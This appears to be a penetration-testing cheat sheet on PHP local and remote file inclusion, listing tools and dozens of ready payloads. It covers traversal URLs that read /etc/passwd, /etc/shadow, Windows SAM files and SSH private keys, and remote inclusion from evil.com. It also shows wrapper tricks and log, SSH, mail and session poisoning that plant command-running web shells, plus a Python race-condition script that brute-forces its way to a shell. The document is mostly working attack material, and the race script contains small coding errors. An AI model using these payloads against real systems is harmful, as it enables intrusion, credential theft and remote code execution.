File Inclusion

> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application

Summary

Tools

- Kadimus - https://github.com/P0cL4bs/Kadimus
- LFISuite - https://github.com/D35m0nd142/LFISuite
- fimap - https://github.com/kurobeats/fimap

- panoptic - https://github.com/lightos/Panoptic

Basic LFI

In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.

```
http://example.com/index.php?page=../../../etc/passwd
```

Null byte

:warning: In versions of PHP below 5.3.4 we can terminate with null byte.

```
http://example.com/index.php?page=../../../etc/passwd%00
```

Double encoding

```
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

UTF-8 encoding

```
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?
page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
```

Path and dot truncation

On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.

```
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
```

Filter bypass tricks

```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?
page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
```

Basic RFI

Most of the filter bypasses from LFI section can be reused for RFI.

```
http://example.com/index.php?page=http://evil.com/shell.txt
```

Null byte

```
http://example.com/index.php?page=http://evil.com/shell.txt%00
```

Double encoding

```
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
```

Bypass allow_url_include

When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.

1. Create a share open to everyone
2. Write a PHP code inside a file : `shell.php`
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`

LFI / RFI using wrappers

Wrapper php://filter

The part "php://filter" is case insensitive

```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

can be chained with a compression wrapper for large files.

```
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

NOTE: Wrappers can be chained multiple times using `|` or `/`:

- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`

```
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O
index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-
encode/resource=index.php" | base64 -d > index.php
```

Wrapper zip://

```
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

Wrapper data://

```
http://example.net/?
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`

Wrapper expect://

```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

Wrapper input://

Specify your payload in the POST parameters, this can be done with a simple `curl` command.

```
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?
page=php://input%00" -k -v
```

Alternatively, Kadimus has a module to automate this attack.

```
./kadimus -u "https://example.com/index.php?page=php://input%00"  -C '<?php echo
shell_exec("id"); ?>' -T input
```

Wrapper phar://

Create a phar file with a serialized object in its meta-data.

```
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
```

If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked

```
class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: rips
include('phar://test.phar');
```

NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.

LFI to RCE via /proc/*/fd

1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

LFI to RCE via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

LFI to RCE via upload

If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>`).

```
http://example.com/index.php?page=path/to/uploaded/file.png
```

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

LFI to RCE via upload (race)

Worlds Quitest Let's Play"

- Upload a file and trigger a self-inclusion.
- Repeat 1 a shitload of time to:
- increase our odds of winning the race
- increase our guessing odds
- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
- Enjoy our shell.

```
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')
```

LFI to RCE via phpinfo()

PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.

> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.

Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)

Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

```
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
```

```
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```

RCE via SSH

Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.

```
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
```

Then include the SSH log files inside the Web Application.

```
http://example.com/index.php?page=/var/log/auth.log&cmd=id
```

RCE via Mail

First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.

```
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```

In some cases you can also send the email with the `mail` command line.

```
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```

RCE via Apache logs

Poison the User-Agent in access logs:

```
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.

Then request the logs via the LFI and execute your command.

```
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```

LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files

```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";p
ass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

Use the LFI to include the PHP session file

```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i
56kgbsq9rm8ndg3qbarhsbm27
```

LFI to RCE via credentials files

This method require high privileges inside the application in order to read the sensitive files.

Windows version

First extract `sam` and `system` files.

```
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```

Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.

Linux version

First extract `/etc/shadow` files.

```
http://example.com/index.php?page=../../../../../../etc/shadow
```

Then crack the hashes inside in order to login via SSH on the machine.

Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa. If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.

References

- OWASP LFI
- HighOn.coffee LFI Cheat
- Turning LFI to RFI
- Is PHP vulnerable and under what conditions?
- Upgrade from LFI to RCE via PHP Sessions
- Local file inclusion tricks
- CVV #1: Local File Inclusion - SI9INT
- Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos
- Baby^H Master PHP 2017 by @orangetw
- Чтение файлов => unserialize !
- New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse
- It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas
- CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018
- Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction
- PHP LFI with Nginx Assistance